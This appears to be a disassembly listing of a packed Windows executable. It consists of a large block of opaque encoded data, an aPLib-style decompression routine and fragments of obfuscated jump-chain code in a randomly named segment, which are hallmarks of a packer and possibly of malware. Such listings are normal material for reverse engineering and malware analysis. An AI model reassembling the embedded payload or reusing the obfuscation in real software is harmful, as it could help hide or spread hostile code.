		dd 269C3E0Fh, 8A1DBD98h, 0D9A91DF7h, 9FED24CFh,	0B2D0C8BEh
		dd 8B29A99Fh, 3D9011C0h, 2279B7E0h, 8DE3E9CBh, 341747F8h
		dd 33B1F8Ah, 5C572C45h,	5D3A1738h, 95015F2h, 3718835h
		dd 0D08A2BA4h, 11903F18h, 11574812h, 7114FA80h,	9509AE3Bh
		dd 84C71F11h, 8F3027B9h, 0C2660975h, 8179751h, 0D1FE604Dh
		dd 4B030C2Fh, 421811E8h, 0A7CB487h, 0CC40A8C0h,	9A9404FEh
		dd 0E1405324h, 0A447CA0h, 0C29E080Bh, 0C120674h, 796C0DE2h
		dd 0ABAD80EEh, 118D3023h, 8D80A8A0h, 0AB429440h, 0C0825801h
		dd 5982388Ah, 0EA0C3E2Ch, 0E1E8F4A4h, 0AD69F9AFh, 0BEDA2934h
		dd 0A5E63692h, 0E078550Dh, 2E4A28E8h, 84DCD916h, 228BF6B4h
		dd 57A220DFh, 0EE96EEE1h, 91CE4D6Eh, 0D186C8CBh, 0A8CEE311h
		dd 4FBDD45Eh, 9FB7D577h, 54173D80h, 412BF44Eh, 9FEF806h
		dd 976C16A9h, 0E2FBAF80h, 8DCF9C43h, 0F0DC6F6Ah, 0B3FDB6EFh
		dd 0D4EE10EEh, 4E2DD136h, 0D344C787h, 0B7095768h, 0A4DBE6F0h
		dd 3E0ED5D6h, 5BB140Bh
		dd 0B7EFFBD7h, 54542A59h, 0C089E3D2h, 157CD0ABh, 0B8BBE8F3h
		dd 69375998h, 7E2ABCFAh, 6392357Bh, 188BD8FBh, 0E0A5C6CFh
		dd 7AE9792h, 0FE95FE6Fh, 0B94A94A9h, 9CD01CC7h,	5136E05Fh
		dd 0B995FDFAh, 781E3F9Bh, 2F49A2BEh, 0A080BCA0h, 9E59B1BFh
		dd 437A987Fh, 0BBE204ACh, 9B9DD1D6h, 0EB466CC0h, 80524A66h
		dd 70567A56h, 40259657h, 5CF76FD4h, 9676BA49h, 5D2AC666h
		dd 66AB79DBh, 4B4D6703h, 0C9D9462Fh, 74C2FC1Bh,	3CE497FCh
		dd 0BFA605CFh, 0A75700C3h, 0E7BFEC61h, 5F4B96DAh, 0C5D41021h
		dd 5E043167h, 7A9BAB6Dh, 58082061h, 0B5CCA5BEh,	28B2BB1Ah
		dd 5CE91BBCh, 2B7FA96Ah, 0F3F168FAh, 0AF8EEDAAh, 34A2B13Ah
		dd 92CC97A9h, 0EFC4385Fh, 31359F1Fh, 0BE570D5Fh, 0C299DF80h
		dd 8E59E8Ch, 2F85096Fh,	65E99A13h, 0CA9D1773h, 6AEFD01Dh
		dd 0EB83BFB1h, 1D68A0C7h, 44AFE720h, 0C0F8E47Bh, 0AB1E3026h
		dd 3F2777F7h, 77761E4Dh, 0B5A89421h, 4AFB6BCFh,	81534BFAh
		dd 371B1C72h, 0A8FB76E4h, 273A7E1Dh, 577F3C05h,	0BEFD6283h
		dd 0C61BB99Bh, 0DCBAF3F5h, 55041FB6h, 749D03F2h, 0FD646DF5h
		dd 0C8A3E8AFh, 9B9EDBEBh, 7C68FFD1h, 66E1DCE1h,	45753225h
		dd 54B5F0E4h, 65A6CC9Fh, 0CDD2B5BFh, 1C1F6C62h,	76B9FB78h
		dd 39AB2E1Ah, 7BCD5A13h, 898156B8h, 6AAD0254h, 1BBD33E1h
		dd 406CCF34h, 222E11FAh, 0EA5D8C56h, 4DCAF41h, 0DC9DD42Dh
		dd 5EF946Eh, 235B5BBFh,	84C20CB1h, 90DEBEFh, 0F3CD7843h
		dd 2A3A5D32h, 5DA95066h, 3FE45CAAh, 0A0C21EC1h,	45DF7AE2h
		dd 5FBA79AEh, 8FF29739h, 0D8D8AE46h, 0A2EE8F50h, 1EF4736Fh
		dd 0A7EE4C2Ah, 4BB6837Ah, 145773Ch, 9254FE9Ch, 76D1DAD9h
		dd 4D9DBE1Fh, 8196AD68h, 3F685E58h, 6BA66CAEh, 0DF0F7A48h
		dd 0CC299575h, 7360C1CFh, 5543E0E2h, 0D4F72E14h, 0EBC588DAh
		dd 890844F9h, 0F90468B6h, 8851D756h, 0BD94406Fh, 0EBBC437Dh
		dd 6AEA3227h, 62A61591h, 76DD35D1h, 0F7E2174h, 0E4A3DCDDh
		dd 8579FE75h, 0B91B27C9h, 0AC6C42D3h, 0D1701451h, 0EC80B743h
		dd 290480FBh, 0BFF5AEA7h, 0CBCBF6EAh, 2CFCB51h,	0C1F7410Eh
		dd 3AD5F78Bh, 1233DB9Bh, 0A2EF2C8Dh, 5A5CC414h,	29680E9Dh
		dd 78AE7226h, 66A36825h, 77D6DC78h, 24A38E20h, 0DBE87E26h
		dd 3EFCF63Bh, 0E3518B8Bh, 0AEDE49ABh, 0C95417CDh, 4CA5852h
		dd 6CCEF260h, 0F17CA52Dh, 4D0EFE53h, 6E81F540h,	837D05BBh
		dd 48717121h, 0F5FF7954h, 8436AE30h, 36A7B4AEh,	812CAAD9h
		dd 0C6515714h, 1B5C5D56h, 41795C03h, 6C0030EBh,	2AB0FC47h
		dd 0C55CA91Ch, 0DBB9148Ch, 4F815F61h, 0A80515FEh, 24EE3521h
		dd 0D3CE503Ch, 0D9E13DC7h, 0CB18DA61h, 0B835AE86h, 0E8177F99h
		dd 0D5759C9Bh, 3F37015Eh, 0B58F3968h, 8946E518h, 90A0E457h
		dd 0F21B0EE0h, 40E8B375h, 9C3FA9EDh, 0D69B6D28h, 5B255FA0h
		dd 0DA9CBB8Ah, 8DCD91BBh, 9A62AB56h, 0B02C46DDh, 84AFCEEFh
		dd 82623F68h, 0D9FB6073h, 772B690Bh, 511D851Ah,	0F641118h
		dd 0C35AB00Ch, 0FD2D132Ah, 0D07FF7ACh, 0ABAB6D26h, 5D54752Dh
		dd 17AA4829h, 0F4E6B0FCh, 5647DADFh, 8DBE813Eh,	0E0D0A569h
		dd 1EFF01DFh, 0DA7581F1h, 0D4F0BF82h, 65F87E58h, 0EEAFCA8h
		dd 0C3A8A5h, 35683161h,	0EBF197Eh, 0F1A3B81h, 2904EF7Eh
		dd 0FEF032EDh, 516BDD9Ch, 0EF6E7361h, 1072ED2h,	0EE8A69D7h
		dd 86832F73h, 0F751C5D3h, 24910E3Ch, 5600002h, 31B053B5h
		dd 70FCC4E0h, 770AF915h, 95A5A92Eh, 0FAE9276Bh,	6CC3E1BFh
		dd 2EBEC9B9h, 0EB030D9Ah, 662827BAh, 0D976B63Eh, 5AF6986Dh
		dd 6505A252h, 3D8BA6BBh, 0CC44CDDFh, 0BB736417h, 1385B16Fh
		dd 0C3FC7A4Bh, 0CD241A5Ch, 6A1AA21Dh, 20618010h, 7AB1B038h
		dd 9E7F55C7h, 5455C2D4h, 0CFCB55D2h, 91404DE3h,	0C1D54EF9h
		dd 75B2DBDDh, 0B67FC653h, 9FAED07h, 6F10D3FAh, 73E6C2ACh
		dd 0ABDCAE02h, 0E9A1AEBh, 59DB5BC5h, 0C6929149h, 0A70A605Fh
		dd 0F172B3FFh, 0F4A0D3CAh, 8680AF4Bh, 5968A8E1h, 0AD996536h
		dd 0ABACF729h, 894BBB1Dh, 89FF5B9Dh, 3B8D3C67h,	57C0A228h
		dd 0FD6AC092h, 7FBAE00Dh, 206E74B7h, 0ACD901AFh, 0D2DC9687h
		dd 202BB7Ah, 0FBEB5A5Dh, 0EAEA379Bh, 66A9EA01h,	0FB788B2h
		dd 0DB708CE6h, 0F9374C4Ch, 842B1E9h, 7FB4CEA5h,	64B50B15h
		dd 87E55FF3h, 92D1462h,	41DFC6C6h, 36812C58h, 6289FE40h
		dd 0D783A053h, 0D09ABCCEh, 6267CD72h, 69D69D20h, 0DE6A375Ah
		dd 11C772F2h, 0CB483672h, 873D2FCAh, 0AA50B8E2h, 3009BD9Fh
		dd 8607BB22h, 0CD5F96EEh, 0BF98639Ch, 0FC2EE61Dh, 8F6D44CDh
		dd 0D6663C0Eh, 1BBF1428h, 93DCFBDh, 0A2DD371Ch,	0FEEF4303h
		dd 0EAF21BCDh, 51DAA083h, 0F8CEC2DCh, 15633514h, 477B9095h
		dd 94EC5A3Ah, 0F640A3E4h, 0EF0DE567h, 0E057DFACh, 3C1B920Ah
		dd 0C926D648h, 0F29EA7DCh, 584BE0E1h, 1B554144h, 57DBE004h
		dd 0CF224DD5h, 0C12BA7DBh, 36C929FEh, 1061E66h,	6BEF84Fh
		dd 7851635h, 1557F160h,	251E423h, 4BAE67D5h, 27C09E5Fh
		dd 2AD3E1C2h, 94A9C256h, 0F17E55F3h, 9139E4F6h,	0D71DEAC8h
		dd 0DA48383h, 0B12DD0F6h, 0FCFD5689h, 0DB8D8DE3h, 0C9ACC07Ch
		dd 4921F7EAh, 0E04E5C26h, 0FDBD497Fh, 5C83A34Ch, 0AA17F9D1h
		dd 73B73F14h, 0CBA5B6Ch, 90B65A3Eh, 13B0B7FFh, 774500FCh
		dd 923FEF58h, 84B478F0h, 37E82366h, 252454B6h, 7F77B129h
		dd 2C3F119Ch, 5A1CC0F3h, 895EB059h, 0E91F4317h,	0D16AB4EDh
		dd 0B5C152E6h, 2A0BA809h, 3CAA4D55h, 0F7B3AEAAh, 0F2ADE0B4h
		dd 3D0B16E8h, 0D1C5FF6Bh, 0E399BB9Ah, 5686544Eh, 0D8FFCF68h
		dd 0ABCA6809h, 3B87916Dh, 6E880A7Bh, 0BF854F26h, 0B46EEC41h
		dd 9FF89702h, 0F032005h, 3BBF0AD7h, 9745FB4h, 32FBB86Fh
		dd 46D75882h, 7DBFDB4h,	555EE66Dh, 69B86BFh, 6B76CE9Ah
		dd 12974EAAh, 374B8AD4h, 0A56F5005h, 0FC88F3D7h, 13B8649Fh
		dd 6E4820EAh, 0ED93BA2Fh, 0B21F82CAh, 699CA595h, 0C752C896h
		dd 6BCB0FC3h, 16F12AE1h, 4B625533h, 0D3710A56h,	4C951B6Dh
		dd 2F85BCC5h, 0AB13DAB9h, 0B3FF3E3h, 39BE9882h,	0DF71DAF6h
		dd 0ADA95A34h, 5BD2B3E5h, 0D0D4D2E3h, 615CFFBFh, 0DF7AADBh
		dd 0DFC90A58h, 40C67A09h, 41FAB4DCh, 0D2AE89E9h, 0F0D936D2h
		dd 61D4953Eh, 9FAD6D4Ch, 0B737727h, 0FEDA95DCh,	76369141h
		dd 0B8F2D8A7h, 31A2FCABh, 265E3D38h, 0FB9D8428h, 0BF9E3C72h
		dd 0FE38B37Bh, 0A710107Ah, 34C015FAh, 0F41AC827h, 0B874E667h
		dd 7C656E6Ch, 89B54A9Ah, 92546FEBh, 0F7E9E1D7h,	0BB6D4479h
		dd 0F50B6D9Eh, 0A5339394h, 44CBAAB4h, 0A26E9A61h, 1DC092ACh
		dd 5FE41E36h, 888AF5A3h, 7B541630h, 116D5A01h, 0A1097F64h
		dd 84FF4EB3h, 2F3F5718h, 5F3E27C6h, 55F0EED9h, 765721A5h
		dd 0DA3D3B18h, 957F3DF3h, 0DFE855E5h, 720ED54Dh, 0B39CE079h
		dd 1BA9B557h, 0CBC606Ah, 0F8541736h, 0ACC02CF3h, 948CAE3Ah
		dd 0D46EDE51h, 4233879Bh, 7C32A14h, 930EE7A2h, 0DFEBBBECh
		dd 0A433CAB9h, 0DF191D07h, 0FA3A0F53h, 955F3313h, 7109B215h
		dd 9AB92D18h, 0C4C955FEh, 7D6D9D0Dh, 756DE805h,	7C7151A6h
		dd 878A6563h, 0F8835898h, 7F6A1895h, 0D97EF95Dh, 0B3B68ACEh
		dd 0FBC1C1C3h, 0FF666B72h, 5B2C1FDFh, 8C5A1D85h, 0D9816EFBh
		dd 83685974h, 0F163A1F8h, 1A83AF22h, 0E4544776h, 5614BF78h
		dd 9CCBB38Dh, 0E5C12FB2h
		dd 4AD6C4B8h, 0D05AC00Ch, 0C0415542h, 317D41DCh, 0EC406A58h
		dd 0BE8AEB01h, 0A29DD542h, 0BB587BD2h, 0F0AFB804h, 0A01EF238h
		dd 2AF3AB57h, 54624FF5h, 0C2A0AA9Eh, 9A66E21Bh,	8C557F7Dh
		dd 9FE1D4ADh, 15CDDF19h, 7C73B813h, 5519CC1Bh, 4867AD7Dh
		dd 63FBCBB8h, 87E3284Ah, 68CFBC55h, 68EA2EACh, 3ACAA8BCh
		dd 3EC5455Ah, 0D18CBADBh, 730ECF0Dh, 0BAC6A906h, 90FC748Bh
		dd 6EACC88Dh, 42DD5B8Ah, 5F056C5Bh, 9D4AE0F8h, 21A3FD83h
		dd 0B41B98BBh, 44B4861Fh, 87B52F2Fh, 0DC68381Ch, 0EFA8AA85h
		dd 96F72FCFh, 7192D9E7h, 9631333Eh, 411FA9DAh, 27E7AA12h
		dd 0D6CA4EFDh, 7D49B257h, 4A8DF086h, 0B9C4F27Fh, 0B24303EAh
		dd 0EBEC6E76h, 189FA654h, 4FE51603h, 0D254DF20h, 3040B54Ah
		dd 0F8FCDC15h, 0FA7180B7h, 0F4EB7996h, 0DFA89DAEh, 0DB48F5DDh
		dd 517D0152h, 0D13BD16Dh, 272FE311h, 199C355h, 992EBE8Ch
		dd 7C7531ACh, 0FBBA19Dh, 0A7EF0107h, 554D7E56h,	28EB20E7h
		dd 33B27307h, 96E029B1h, 63F60487h, 97EDE5E7h, 74F2103Fh
		dd 0ADA21AFEh, 9709FBB0h, 4CFFB898h, 815E3BA9h,	34006431h
		dd 84145F4h, 80CDFDE9h,	6E2B9FEDh, 1AE7432h, 0D1129B05h
		dd 0FEDA7AD5h, 7CFBE8Dh, 0A4BABD35h, 55B330B5h,	29080E07h
		dd 0B3E390C5h, 0FB497626h, 0D33E0622h, 8BFBC500h, 63E2D673h
		dd 75802BFCh, 0E3F07910h, 773F26CFh, 3D7F7574h,	6DEE8735h
		dd 57659C5Ah, 325E28BAh, 0B84015F5h, 0FD554CEBh, 9D90B47Bh
		dd 0AEF9286Fh, 47D43A5Fh, 35F2EC74h, 71E28ECEh,	59ED8F17h
		dd 51DD2098h, 3FD5E541h, 82A0E40Dh, 0F9CEF07Dh,	6A011CEDh
		dd 0CE731BC0h, 4BFD7509h, 0AF84D57Dh, 9BFA7DC5h, 1E15D4E1h
		dd 405DE0F3h, 0DE95167Bh, 0E1B5D52Ah, 1EDB1F3Bh, 85D5E005h
		dd 7FBD14B9h, 0F4D0D0B1h, 374E6995h, 502D9D56h,	22595D63h
		dd 91AC1366h, 8BDC70Fh,	2DDFCDFFh, 9292C98Bh, 82CC1D1Bh
		dd 0EA043003h, 61F89857h, 547557DBh, 0D90297F3h, 0E95F1F59h
		dd 0C1565197h, 35BEBC0Fh, 865767D1h, 0F3145533h, 0BA146E4Ch
		dd 7C1E7BAEh, 0C37706AEh, 0BD07672Dh, 11F981BBh, 1D7D75CEh
		dd 4DADC38h, 7F7E2E12h,	29E0514Dh, 3E735B44h, 797335B7h
		dd 0D5655665h, 6F45F0F6h, 0E7BCE601h, 81FDCD2Fh, 78E5636Bh
		dd 0F14310A5h, 549EE8h,	861F47F3h, 714A87E0h, 3DBF255Fh
		dd 8F6049DEh, 0B5A9E5B4h, 7225E267h, 0F3BA7078h, 0D09021D5h
		dd 0F838620Ch, 0F9357896h, 0B7B5F5C8h, 7E37A9CCh, 5BCA8360h
		dd 7E7F7856h, 1FAF68C9h, 4B58C481h, 0E07A7A5Bh,	243D6744h
		dd 0F7DD5F06h, 3BE8BF19h, 26E6E2BFh, 5835A27Bh,	5F0AFECDh
		dd 0BA37F150h, 4CB62EB4h, 436D228Ah, 0EB34CFB3h, 3A068E06h
		dd 0C071C052h, 0FF68D57Ah, 0AA4ADB77h, 1B1AEDE8h, 0D3CBA1B2h
		dd 8BCEFA56h, 21F81A92h, 8A917C14h, 0F7B0D1A9h,	163E5385h
		dd 2EA11154h, 0AC60C06Ah, 4301D917h, 0BE365DDAh, 898FECD7h
		dd 763F95D6h, 50EDA2A1h, 937522EBh, 0F49CA331h,	87882842h
		dd 0CBC749DEh, 55CAF414h, 876AE27h, 7357C598h, 7775F5D1h
		dd 0A0BEF910h, 0C0FA7C78h, 0AD2CD1E4h, 2A1583E0h, 4A1DD001h
		dd 8A537D1Ah, 2A8602B2h, 0D9990A92h, 0FC155464h, 59DD2A93h
		dd 4CA58279h, 3054D618h, 0EDE62B03h, 0D0E9C3EDh, 0DCD2FFECh
		dd 172ACF8Bh, 45F0EADh,	5F2A9C04h, 1D144BA3h, 0C6B47995h
		dd 0D181BAFDh, 9C0F2AD9h, 8DDBBA50h, 4020BFF0h,	928BEF11h
		dd 0E5BBE43Dh, 7F49CAFFh, 0D609F050h, 95171D2Dh, 2BADDD79h
		dd 0B4ED9698h, 0AAAFDFA7h, 0EA5DFBFAh, 3326C0F0h, 61F868FEh
		dd 52570D36h, 0AE3BDE12h, 7A1A441Dh, 0D7FB202h,	0AB115CB5h
		dd 0FE452B5Ch, 0A9B2BF38h, 91191D0Eh, 42AB23B7h, 0CEEAF3F8h
		dd 0FE133DF1h, 0F33643DEh, 356F5BB7h, 93E37558h, 42CFC092h
		dd 528CC4D1h, 1842D1EAh, 12CDDFBCh, 9A94ED26h, 5A1F8A22h
		dd 0AF5DB78Dh, 0DEDC33FAh, 902FD8AEh, 88B56D5Ah, 51539B01h
		dd 10A81A5Eh, 0F9060787h, 4C94F5A3h, 9C12F0F8h,	1C75550Ch
		dd 93C7789Bh, 1E260A91h, 0C8960941h, 74FD78D4h,	0EF33DA34h
		dd 6E7CCF11h, 259A619h,	8225BECAh, 0FF7685B8h, 3E8285A5h
		dd 8AF395A1h, 8EADC800h, 61B25249h, 4DF76FCEh, 532E2744h
		dd 0B047A9E9h, 6FF1273Dh, 0F0CE4503h, 0BE5FCF52h, 0E4E7627Ch
		dd 1E3C38D1h, 4D5EEE5Bh, 8E7FA35Bh, 0F75BA8DAh,	205ACE4Eh
		dd 0D740E3Eh, 96FC6D25h, 43232785h, 0A46440C2h,	4DD0DAD0h
		dd 4BFE7533h, 0ADB7C9CEh, 0CBD70FC4h, 5A1486B8h, 3CB7802Fh
		dd 0D68F1B05h, 22ABD400h, 0D67A2D48h, 152259C1h, 0C49343F1h
		dd 0DB308D59h, 18DE1C7Eh, 694EB717h, 7517D7EAh,	0FBB50B44h
		dd 0A61DD355h, 0D83C8804h, 0AF433F0Fh, 0C4E38B39h, 1895328Ah
		dd 8857E606h, 0DE261F20h, 0A84C6265h, 0D81F5FBFh, 37F6AF17h
		dd 0FDD73777h, 2E3034F9h, 0A84A88C2h, 0FB2F9615h, 7E646D6Dh
		dd 0AD083A27h, 8799C3C0h, 0FDED349Bh, 8699E938h, 35381FACh
		dd 3F5E9968h, 87449758h, 51BE0FFDh, 4A55ED11h, 4CB662F3h
		dd 5F5B9E9Ch, 0BED88DEBh, 9D607F1Eh, 0D834EF10h, 0B4C4A2A1h
		dd 0E0AD54E8h, 96F6A726h, 7B45D985h, 0A58BD831h, 3E46824Ch
		dd 0EE88D184h, 393EEC65h, 84E09B67h, 57DE9B65h,	0D0390467h
		dd 0AA5EBCBFh, 0CAB62C53h, 0F931FACFh, 0DDFC31B6h, 71AE0F1Ah
		dd 1581FB75h, 3DAD2A40h, 0FEA0C3B9h, 0E602AFCAh, 0D81DCB9Fh
		dd 0C8073B79h, 0F223E3C2h, 1DD2C0AFh, 25676A9Ch, 0F75E7EB5h
		dd 0BCB41372h, 0E0503FC3h, 0D50984E0h, 679DD891h, 42BF9716h
		dd 0A2CE4DDEh, 0F95DA2C1h, 225F2E5Bh, 6BC12913h, 21DFE6Ah
		dd 17C801DDh, 25538703h, 0EBB8B949h, 165F4395h,	5FA14E16h
		dd 25F477EFh, 9C27A25Eh, 31703780h, 96ABC237h, 269CF715h
		dd 0BEB825ECh, 896EB9FCh, 1D9C5D75h, 0E344B46Eh, 0F3BD377Ah
		dd 32CF59B0h, 3C8EAF8Eh, 27B9513Ch, 0F5666D2Ah,	35511024h
		dd 9ECE49FBh, 17CDD45Fh, 0F33D398Eh, 0F565D38Bh, 0CAF9ADE8h
		dd 99E91AF3h, 1C5748E4h, 859D7A41h, 0B5563C0Fh,	0A41B73Fh
		dd 1D7B051Fh, 0E696F74Fh, 8CDA3430h, 0E8345AB5h, 0C1E14680h
		dd 0F7A52685h, 0F59C16BDh, 7C3C2BFDh, 0EB762DB0h, 0FC6D59E7h
		dd 0BBB58AFh, 0ABFDFB6Eh, 2FC351DCh, 0C58065A2h, 82AA2236h
		dd 0C7B1C35Fh, 0DBBEDCBDh, 588BEF27h, 138175D2h, 2A36DCCDh
		dd 2814FDB5h, 89675B4Dh, 3B3731F0h, 0D5E3AD71h,	0B4BC7EDBh
		dd 0EECFAB5Bh, 0F0C53233h, 0BD27DB8Fh, 0C98AF9F7h, 56400000h
		dd 652Ch, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437008	proc near		; DATA XREF: sub_43FB9C+3Ao

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437187 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cld
		push	ebx
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], edx
		mov	esi, eax
		mov	edi, edx
		cmp	word ptr [esi],	434Ah
		jnz	loc_43714A
		add	esi, 0Ah
		mov	[ebp+var_C], 8
		xor	ebx, ebx
		mov	edx, 80000000h
		inc	ebx


loc_437039:				; CODE XREF: sub_437008+46j
					; sub_437008+8Dj ...
		xor	eax, eax
		call	sub_437151
		jnb	short loc_437050
		mov	ecx, [ebp+var_10]
		call	sub_437169
		add	al, [ebp+var_11]


loc_43704D:				; CODE XREF: sub_437008+65j
		stosb
		jmp	short loc_437039
; ---------------------------------------------------------------------------


loc_437050:				; CODE XREF: sub_437008+38j
		call	sub_437151
		jb	loc_4370F2
		call	sub_437151
		jnb	short loc_4370BD
		mov	ecx, 4
		call	sub_437169
		dec	eax
		jz	short loc_43704D
		jns	loc_43713C
		call	sub_437151
		jnb	short loc_437097
		push	ebp


loc_43707D:				; CODE XREF: sub_437008+8Aj
		mov	ebp, 100h


loc_437082:				; CODE XREF: sub_437008+83j
		call	sub_43715E
		mov	[edi], al
		inc	edi
		dec	ebp
		jnz	short loc_437082
		call	sub_437151
		jb	short loc_43707D
		pop	ebp
		jmp	short loc_437039
; ---------------------------------------------------------------------------


loc_437097:				; CODE XREF: sub_437008+72j
		mov	ecx, 1
		call	sub_437169
		add	eax, 7
		mov	[ebp+var_10], eax
		mov	[ebp+var_11], 0
		cmp	eax, 8
		jz	short loc_437039
		call	sub_43715E
		mov	[ebp+var_11], al
		jmp	loc_437039
; ---------------------------------------------------------------------------


loc_4370BD:				; CODE XREF: sub_437008+58j
		mov	ecx, 7
		call	sub_437169
		push	eax
		mov	ecx, 2
		call	sub_437169
		mov	ecx, eax
		inc	ecx
		inc	ecx
		pop	eax
		or	eax, eax
		jz	short loc_4370DF
		mov	ebx, eax
		jmp	short loc_43713D
; ---------------------------------------------------------------------------


loc_4370DF:				; CODE XREF: sub_437008+D1j
		cmp	ecx, 2
		jz	short loc_43714A
		inc	ecx
		call	sub_437169
		mov	[ebp+var_C], eax
		jmp	loc_437039
; ---------------------------------------------------------------------------


loc_4370F2:				; CODE XREF: sub_437008+4Dj
		call	sub_437175
		dec	ecx
		loop	loc_437103
		mov	eax, ebx
		call	sub_437175
		jmp	short loc_43713D
; ---------------------------------------------------------------------------


loc_437103:				; CODE XREF: sub_437008+F0j
		dec	ecx
		mov	eax, ecx
		push	ebp
		mov	ecx, [ebp+var_C]
		mov	ebp, eax
		xor	eax, eax
		shl	ebp, cl
		call	sub_437169
		or	eax, ebp
		pop	ebp
		mov	ebx, eax
		call	sub_437175
		cmp	eax, 10000h
		jnb	short loc_43713A
		cmp	eax, 37FFh
		jnb	short loc_43713B
		cmp	eax, 27Fh
		jnb	short loc_43713C
		cmp	eax, 7Fh
		ja	short loc_43713D
		inc	ecx


loc_43713A:				; CODE XREF: sub_437008+11Cj
		inc	ecx


loc_43713B:				; CODE XREF: sub_437008+123j
		inc	ecx


loc_43713C:				; CODE XREF: sub_437008+67j
					; sub_437008+12Aj
		inc	ecx


loc_43713D:				; CODE XREF: sub_437008+D5j
					; sub_437008+F9j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_437039
; ---------------------------------------------------------------------------


loc_43714A:				; CODE XREF: sub_437008+19j
					; sub_437008+DAj
		mov	eax, esi
		pop	esi
		pop	edi
		pop	ebx
		jmp	short loc_437187
sub_437008	endp


; =============== S U B	R O U T	I N E =======================================



sub_437151	proc near		; CODE XREF: sub_437008+33p
					; sub_437008:loc_437050p ...
		add	edx, edx
		jnz	short locret_43715D
		mov	edx, [esi]
		add	esi, 4
		stc
		adc	edx, edx

locret_43715D:				; CODE XREF: sub_437151+2j
		retn
sub_437151	endp


; =============== S U B	R O U T	I N E =======================================



sub_43715E	proc near		; CODE XREF: sub_437008:loc_437082p
					; sub_437008+A8p
		mov	ecx, 8
		call	sub_437169
		retn
sub_43715E	endp


; =============== S U B	R O U T	I N E =======================================



sub_437169	proc near		; CODE XREF: sub_437008+3Dp
					; sub_437008+5Fp ...
		xor	eax, eax


loc_43716B:				; CODE XREF: sub_437169+9j
		call	sub_437151
		adc	eax, eax
		loop	loc_43716B
		retn
sub_437169	endp


; =============== S U B	R O U T	I N E =======================================



sub_437175	proc near		; CODE XREF: sub_437008:loc_4370F2p
					; sub_437008+F4p ...
		xor	ecx, ecx
		inc	ecx


loc_437178:				; CODE XREF: sub_437175+Fj
		call	sub_437151
		adc	ecx, ecx
		call	sub_437151
		jb	short loc_437178
		retn
sub_437175	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437008


loc_437187:				; CODE XREF: sub_437008+147j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_437008
; ---------------------------------------------------------------------------
		align 4
dword_43718C	dd 1BCA8A0Fh, 8B530000h, 8F64672Fh, 87000006h, 87582404h
					; CODE XREF: sub_439ED1+1519j
					; DATA XREF: sub_43FB96o ...
		dd 71E92404h, 9C000019h, 7C39E9h, 81000000h, 5E5DAACAh
		dd 4EC281B8h, 81D8C0E9h, 81EEC4F2h, 81D5033Eh, 0DE7600C2h
		dd 88128B16h, 0CD4E902h, 0E9510000h, 739h, 0E9F1F0C3h
		dd 2E04h, 4C18100h, 89000000h, 4C18101h, 89000000h, 4C18101h
		dd 89000000h, 4C18101h,	0E9000000h, 2508h, 58240487h, 840FD209h
		dd 3779h, 2BC4850Fh, 72E90000h,	79h, 0B8E900C3h, 3Eh, 5F8707C6h
		dd 0CB5CD8Bh, 4909E924h, 0C30000h, 767FC981h, 0C181A687h
		dd 108B8391h, 0FBDE8h, 0FAE90000h, 79h,	0F1815900h, 0C9FB60F0h
		dd 59E5E981h, 0F1811FAFh, 0F6DF5548h, 43807F68h, 603CE900h
		dd 0
; ---------------------------------------------------------------------------
		call	sub_43E22A
		jmp	loc_43D508
; ---------------------------------------------------------------------------
		dw 5100h		; CODE XREF: sub_439ED1:loc_43A7BFj
; ---------------------------------------------------------------------------
		jmp	loc_439FA2
; ---------------------------------------------------------------------------
		align 2
		pop	eax
		sub	eax, 0DEDACCB2h
		and	eax, 37451541h
		add	eax, 0FCFF0FBFh
		test	ecx, eax
		pop	eax
		jmp	loc_43C49B
; ---------------------------------------------------------------------------
		db 2 dup(0), 23h
		dd 0FAEA81CDh, 8181415Dh, 80FF5DC2h, 50D50383h,	65554668h
					; CODE XREF: sub_43F734:loc_43DAB2j
		dd 0C0D15822h, 5099E9h,	0CC8B0000h, 10C181h, 98B0000h
		dd 1301C7h, 0AAE90001h,	0C6000043h, 815B9C03h, 0B7177CE8h
		dd 0E1F081DAh, 0FDF419Dh, 6DB685h, 81520000h, 70EEFBC3h
		dd 599EE9F1h, 81000000h, 0A0C1h, 3801C700h, 3300438Bh
		dd 8DE959C0h, 5Fh, 1B8F0F00h, 23FFFFFFh, 8F6467F8h, 87000006h
		dd 81582404h, 5C5D98C0h, 3B0FE9A7h, 0
; ---------------------------------------------------------------------------

locret_437328:				; CODE XREF: _802izwe5:0043BF61j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43732B:				; CODE XREF: _802izwe5:0043D432j
		jmp	locret_43E114
; ---------------------------------------------------------------------------
		add	esi, 10837D21h
		call	sub_43C2EA
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43733B:				; CODE XREF: sub_43C65A-B27j
		jmp	loc_43C71D
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		dd 0BEE9CCF0h, 23h, 6FFD870Fh, 0F990000h, 6C5B8Ah, 8F646700h
		dd 87000006h, 0C6582404h, 0D6E98700h, 0F0000014h, 409FE9CCh
		dd 89000000h, 4C18101h,	89000000h, 4C18101h, 0E9000000h
		dd 7BE1h, 1000000h, 4C181h, 1C70000h, 43E932h, 0FFE9C033h
		dd 68000041h, 43EDA0h, 28E9E9h,	7AE9C300h, 54h,	93DE9h
		dd 3E91E900h, 0EB810000h, 0F99E2E60h, 95FC381h,	0F76857D2h
		dd 0E900438Dh, 10CBh, 0E900C300h, 4318h, 0FA3BCA0Bh, 71F3E9h
		dd 0E9C30000h, 28C7h, 8401E900h, 0
; ---------------------------------------------------------------------------

locret_4373EC:				; CODE XREF: _802izwe5:0043ED65j
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43F688


loc_4373EE:				; CODE XREF: sub_43F688+37j
		jmp	loc_43E7D7
; END OF FUNCTION CHUNK	FOR sub_43F688
; ---------------------------------------------------------------------------
